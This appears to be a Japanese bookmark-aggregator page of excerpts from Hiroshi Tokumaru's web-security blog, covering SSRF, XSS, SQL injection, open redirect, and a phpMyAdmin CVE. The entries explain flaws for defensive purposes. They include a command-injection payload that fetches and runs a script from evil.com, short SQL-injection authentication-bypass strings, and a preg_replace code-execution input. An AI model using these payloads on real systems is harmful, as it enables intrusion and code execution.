徳丸浩の日記: SSRF(Server Side Request Forgery)徹底入門
SSRF(Server Side Request Forgery)という脆弱性ないし攻撃手法が最近注目されています。以下は、ここ3ヶ月にSSRFについて言及された記事です。 EC2上のAWS CLIで使われている169.254について SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例 SSRFを利用したメール送信ドメインの乗っ取り 「CODE BLUE 2018」参加レポート（岩間編） この「空前のSSRFブーム」に便乗して、SSRFという攻撃手法および脆弱性について説明します。 SSRF攻撃とは SSRF攻撃とは、攻撃者から直接到達できないサーバーに対する攻撃手法の一種です。下図にSSRF攻撃の様子を示します。 攻撃者からは、公開サーバー（203.0.113.2）にはアクセスできますが、内部のサーバー（192.168.0.5）はファイアウォールで隔離されているため外部から直接
安全なWebアプリケーションの作り方改訂のお知らせ
徳丸本こと、「体系的に学ぶ 安全なWebアプリケーションの作り方」は、2011年3月の発売以降大変多くの方に読んでいただきました。ありがとうございます。 ただ、発売から既に7年が経過し、内容が古くなってきた感は否めません。たとえば、クリックジャッキングの説明はほとんどないですし、OWASP Top 10 2017で選入された安全でないデシリアライゼーションやXXEの説明もありません。なにより、Web APIやJavaScriptのセキュリティ等がほとんど書かれていないことが課題となっていました。 そこで、版元のSBクリエイティブと相談して、この度改訂することにいたしました。3月末脱稿、6月頃発売の見込みです。 改訂にあたり、以下を考えています。 Web APIとJavaScriptに関する説明を4章に追加 XHR2対応に向けてCORSの説明を3章に追加 携帯電話の章は丸ごと削除して、別の内
ビックカメラ.COMでメールアドレスを間違えて登録したらどこまで悪用されるか検討した
すでに報道のように、ビックカメラの通販サイト「ビックカメラ.com」において、会員IDをメールアドレスにするという改修がなされました。従来は会員がIDを自由につけられる仕様でした。さっそく会員登録してみたところ、会員IDのメールアドレスの入力間違いに際して、安全性の配慮に掛ける仕様だと感じたのでビックカメラのサポートに報告したところ、以下のように「セキュリティ上の問題とは認識していない」との回答でした。このため、ここに問題点と対策を公開して、利用者に注意喚起いたします。 平素はビックカメラ.comをご利用いただき、誠にありがとうございます。 サポートセンター担当のXXXXと申します。 この程はお問い合わせいただきありがとうございます。 貴重なご意見を賜りまして、誠にありがとうございます。 今回サイトのリニューアルに関して、基本的に現状ではセキュリティ上の問題があるとの認識はございません。
hiddenなinput要素のXSSでJavaScript実行
脆弱性診断をやっていると、たまにtype=hiddenのinput要素にXSSがあるけど、現実的な攻撃には至らないものにぶちあたることがあります。サンプルコードを以下に示します。 <body> 入力確認をお願いします。 <?php echo htmlspecialchars($_GET['t']); ?><br> <form action='submit.php'> <input type='hidden' name='t' value='<?php echo htmlspecialchars($_GET['t']); ?>'> <input type='submit'> </body> 正常系の呼び出しは下記のようになります。 http://example/hidden-xss.php?t=yamada HTMLソースは下記の通りです。 <body> 入力確認をお願いします。 yamad
StartSSLにドメイン認証不備の脆弱性
Osama almanna's blogにて、StartSSLにドメイン認証に脆弱性があったと報告されています。 In 9 March, 2016 During my research I was able to replicate the attack and issue valid certificates without verifying the ownership of the website which I will explain later in my post, the vulnerability was reported and fixed within hours. ウェブサイトの所有権を検証しないで、正当な証明書が交付されるというものですね。脆弱性は報告の後数時間で修正されたとのことです。 以下、彼のブログ記事を元に、脆弱性の内容と修正方法について説明します。 問題
『最初に「読む」PHP』は全体的にとても良いが惜しい脆弱性がある
最初に「読む」PHP（クジラ飛行机）を読みました。本書にはセキュリティ用語（クロスサイトスクリプティング、SQLインジェクション等）はほとんど出てきませんが、脆弱性についてよく配慮された記述となっています。しかし、その細部の詰めが甘く、脆弱性が混入してしまいました。その内容を報告したいと思います。 クロスサイトスクリプティング 出力時にHTMLエスケープするという原則を比較的早い段階で説明しています。その説明が素晴らしいと思いました。 ユーザーから送信されたデータを、PHPを使ってそのまま画面に表示することは、レイアウトの崩れや セキュリティ上の危険につながります。必ず、HTMLに変換してから表示します。そこで、画面に「(^o^)<Hello」と表示するプログラムを作ってみましょう。 「HTMLに変換して」という表現がとてもいいですね。難しくいうと、Content-Typeをtext/pl
SQLインジェクション対策もれの責任を開発会社に問う判決
ポイントは下記の通りです。 X社（原告）はセキュリティ対策について特に指示はしていなかった 損害賠償について個別契約に定める契約金額の範囲内とする損害賠償責任制限があった 当初システムはカード決済を外部委託し直接カード情報を扱っていなかった X社が「カード会社毎の決済金額を知りたい」とY社に依頼をして、その結果カード情報をいったんDBに保存する仕様となった（2010年1月29日） X社からの問い合わせに対してY社は、カード情報を保持しない方式に変更することが可能で、そのほうが安全となり、費用は20万円程度である旨を伝えた（2010年9月27日）が、その後X社は改良の指示をしなかった 以下の脆弱性その他が認められた システム管理機能のIDとパスワードが admin/password であった 個人情報が記載されたお問い合わせログファイルの閲覧が可能（ディレクトリリスティングと意図しないファイ
パスワード定期的変更の効能について徳丸さんに聞いてみた
高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、今話題のパスワードの定期的変更について、本当のところ効果がないのか、その効能についてご説明いただきます。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。いつもはパスワードの定期的変更にはあまり意味がないと主張していますが、今日はパスワードの定期的変更を擁護する立場なんですね。面白そうです。よろしくお願いします。 高橋: まず問題の整理についてです。IPAより9月3日に『「ID・パスワードのセキュリティ対策促進に関する広告等業務」 係る企画競争 』の仕様書(PDF)が公開されました。その仕様書中の行動喚起を促す対策事例の一つに「ID・パスワードは定期的に変更する」 があったので、セキュリティクラスタが騒ぎ出し、その結果かどうかは分かりませんが、9月9日に同仕様書が改定され、パスワードの定期的変更は対策例から削除されました。一連の議
JALの不正ログイン事件について徳丸さんに聞いてみた
高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、JALの不正ログイン事件についてお話を伺います。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。よろしくお願いします。 高橋: まず、事件の概要を説明します。日本航空のホームページに不正アクセスがあり、JALマイレージバンク（JMB）のマイルが、Amazonのギフト券に勝手に交換される被害がありました。日本航空の発表では、1月31日から2月2日にかけて、身に覚えがないマイル交換がされているという問い合わせが複数ありました。調査の結果、40人の利用者のマイルがアマゾンのギフト券、数百万円相当と交換されていたというものです。 徳丸: ここで問題となるのは、パスワードは数字6桁ということなんですよね。 高橋: やはりそこですか。パスワードが数字6桁だとどのような攻撃ができるのでしょうか? ブルートフォース攻撃 徳丸: まず、ブルートフ
cheeers! のオープンリダイレクタ脆弱性が修正された
クラウドファンディングサイトcheeers!にはオープンリダイレクタ脆弱性がありましたが、サイト運営者に連絡したところ修正されましたので報告します。 cheeers! のログイン画面は下記の通りですが、アドレスバーに注目ください。from=というクエリ文字列にURLをパーセントエンコードしたものがついています。 以上は正常系の流れですが、それではfrom=に、cheeers! とは無関係のURLを指定したらどうなるでしょうか。たとえば、from=https://twitter.com/HiromitsuTakagi/status/350971098248118272 と指定しておくと、ログイン成功後に下記の画面が表示されていました（現在は表示されません）。 爆笑。大草原不可避。wwwwwwwwww wwwwwwwwww wwwwwwwwww wwwwwwwwww wwwwwwwwww pi
正規表現によるバリデーションでは ^ と $ ではなく \A と \z を使おう
正規表現によるバリデーション等で、完全一致を示す目的で ^ と $ を用いる方法が一般的ですが、正しくは \A と \z を用いる必要があります。Rubyの場合 ^ と $ を使って完全一致のバリデーションを行うと脆弱性が入りやすいワナとなります。PerlやPHPの場合は、Ruby程ではありませんが不具合が生じるので \A と \z を使うようにしましょう。 はじめに 大垣さんのブログエントリ「PHPer向け、Ruby/Railsの落とし穴」には、Rubyの落とし穴として、完全一致検索の指定として、正規表現の ^ と $ を指定する例が、Ruby on Rails Security Guideからの引用として紹介されています。以下の正規表現は、XSS対策として、httpスキームあるいはhttpsスキームのURLのみを許可する正規表現のつもりです。 /^https?:\/\/[^\n]+$/
PHPだってシェル経由でないコマンド呼び出し機能が欲しい
このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba
XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス
メールアドレスの「ルール」に関する話題が盛り上がっていますね。 「メールアドレスのルール」系まとめがそろって間違ってるのでご注意を 「メールアドレスのルール」なんて使ってはいけない3つの理由 これらのエントリに異論があるわけでありません。メールアドレスに関するルールというとRFC5322などがあるものの、現実の運用では簡易的な仕様を用いている場合が大半である…という事情は、私も以前ブログに書きました。、 本稿では、「空前のメールアドレスのルールブーム(?)」に便乗する形で、RFC5322に準拠したメールアドレスで、XSSやSQLインジェクションの攻撃ができることを紹介します。と言っても、SQLインジェクションについては、過去に書きましたので、本稿では、RFC5322バリッドなメールアドレスでSQLインジェクションとXSSの両方ができるメールアドレスを紹介します。 まず、攻撃対象として、以下
ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
既に報道されているように、ロリポップ！レンタルサーバーに対する改ざん攻撃により、被害を受けたユーザー数は8428件にのぼるということです。ここまで影響が大きくなった原因は、報道によると、(1)「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされた、(2)パーミッション設定の不備を悪用されて被害が拡大した、ということのようです。 29日夜の時点では、攻撃者の改ざん手法について「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされて「wp-config.phpの」の設定情報が抜き出されたと説明していたが、30日午後7時過ぎの説明で、この脆弱性が侵入経路となって同社のパーミッション設定の不備を悪用されたことが原因だったことを明らかにした。 「ロリポップ」のWordPressサイト改ざん被害、原因はパーミッション設定不備
パスワードの定期的変更について徳丸さんに聞いてみた(1)
高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、パスワードの定期的変更問題についてお話を伺います。徳丸さん、よろしくお願いします。 徳丸: 徳丸です。よろしくお願いします。 高橋: まず、お伺いしたいことですが、パスワードを定期的に変更すべしという根拠には、どのようなものがあるのでしょうか? 徳丸: 大きく分けて2つの理由が挙げられていると思います。一つは、パスワードを定期的に変更すると、パスワードを破って侵入する攻撃の予防になるというもの、すなわち事前の予防策です。もう一つは、パスワードが漏洩した際に、被害を軽減できるというもので、事後の緩和策ということですね。 高橋: もう少し詳しくお願いします。 徳丸: まず、「事前」の方ですが、オンライン攻撃とオフライン攻撃があります。 高橋: オンライン攻撃とはどのようなものでしょうか? 徳丸: オンライン攻撃は、ネット経由でパスワード
phpMyAdmin3.5.8以前に任意のスクリプト実行を許す脆弱性(CVE-2013-3238)
脆弱性の発生するメカニズム 脆弱性の原因はlibraries/mult_submits.inc.php の以下の部分です。 case 'replace_prefix_tbl': $current = $selected[$i]; $newtablename = preg_replace("/^" . $from_prefix . "/", $to_prefix, $current); 上記再現手順の場合、preg_replace関数の呼び出しは以下の引数となります。 preg_replace("/^/e\0/", "phpinfo();", "test"); preg_replace関数(PHP5.4.6以前)の第１引数はバイナリセーフでないため、NULLバイト以降が無視され、結局以下の引数で呼び出されたのと同じになります。 preg_replace("/^/e", "phpinfo();
SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
昨日のエントリ「SQLインジェクションゴルフ - 認証回避の攻撃文字列はどこまで短くできるか?」にて、認証回避の攻撃文字列が5文字にできる（「'OR'1」）ことを示しましたが、@masa141421356さんと、やまざきさん（お二人とも拙著のレビュアーです）から、idとpwdにまたがった攻撃例を示していただきました。やまざきさんの例は、MySQL限定ながら、なんと3文字です。これはすごい。 @masa141421356さんの攻撃例 @masa141421356さんのツイートを引用します。 @ockeghem 大抵のDBでid=''OR' AND pwd='>' ' が通ると思います（id側に「'OR」, pwd側に「>' 」で6文字）。長さ0の文字列がNULL扱いされないDBなら最後のスペースを消して5文字です。 — masa141421356 (@masa141421356) June
Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
昨日の福井新聞の報道（魚拓）によると、中学生がYahoo!の「秘密の質問と答え」を悪用して同級生のYahoo!アカウントにログイン成功し、不正アクセス禁止法などの疑いで書類送検されたようです。 同課によると、同級生との間には当時トラブルがあり、男子生徒は「自分の悪口をメールに書いているのではないか」と考え、盗み見たという。 男子生徒は、パスワードを再設定しようと「秘密の質問」のペットの名前に何度か答え、合致しパスワードを変更した。 ログインできなくなった同級生がパスワードを変更し直したが、男子生徒は再びパスワードを変更したという。同級生が「身に覚えのないログインがある」と警察に相談し、容疑が明らかになった。 不正アクセスで県内中学生を初摘発 容疑で県警、同級生のメール盗み見 より引用（赤字は引用者） 後述するように、Yahoo!の「秘密の質問と答え」を知っていると強大な権限が与えられたこと
ヤフー株式会社様に「秘密の質問と回答」に関して要望します
拝啓、貴社ますますご清栄のこととお慶び申し上げます。日頃は格別のご高配を賜り、あつくお礼申し上げます。さて、さっそくですが、表題の件についてお願いがあり、ご連絡差し上げました。 私は東京都品川区在住の貴社サービスの一ユーザーです。Yahoo! IDの登録が2001年3月、Yahoo!プレミアムは2003年 2月からですので、十年来のユーザーと言うことになり、現在はヤフオクやYahoo! Boxを利用しております。どうぞ、お見知りおきのほど、よろしくお願いいたします。 さて、ご連絡差し上げたのは、表題に述べたように「秘密の質問と回答」に関する要望です。と言いますのは、報道などで「秘密の質問と回答」が漏洩したことを知ったからです。 ヤフーは２３日、今月１６日に不正アクセスで流出した「ヤフージャパン」のＩＤ２２００万件のうち、約１４９万件についてはパスワードと、パスワード変更のために使う「秘密の
JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-1297)に注意
はせがわようすけ氏のブログエントリ「機密情報を含むJSONには X-Content-Type-Options: nosniff をつけるべき」にて、巧妙な罠を仕掛けることにより、別ドメインのJSONデータをvbscriptとして読み込み、エラーハンドラ経由で機密情報を盗み出すという手法が紹介されました。これは、IEの脆弱性CVE-2013-1297を悪用したもので、MS13-037にて解消されていますが、MS13-037はIE6～IE8が対象であり、IE9以降では解消されていません。 また、MS13-037を適用いていないIE6～IE8の利用者もしばらく残ると考えられることから、この問題を詳しく説明致します。サイト側の対策の参考にして下さい。 問題の概要 JSON形式のデータは、通常はXMLHttpRequestオブジェクトにより読み出しますが、攻撃者が罠サイトを作成して、vbscript
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
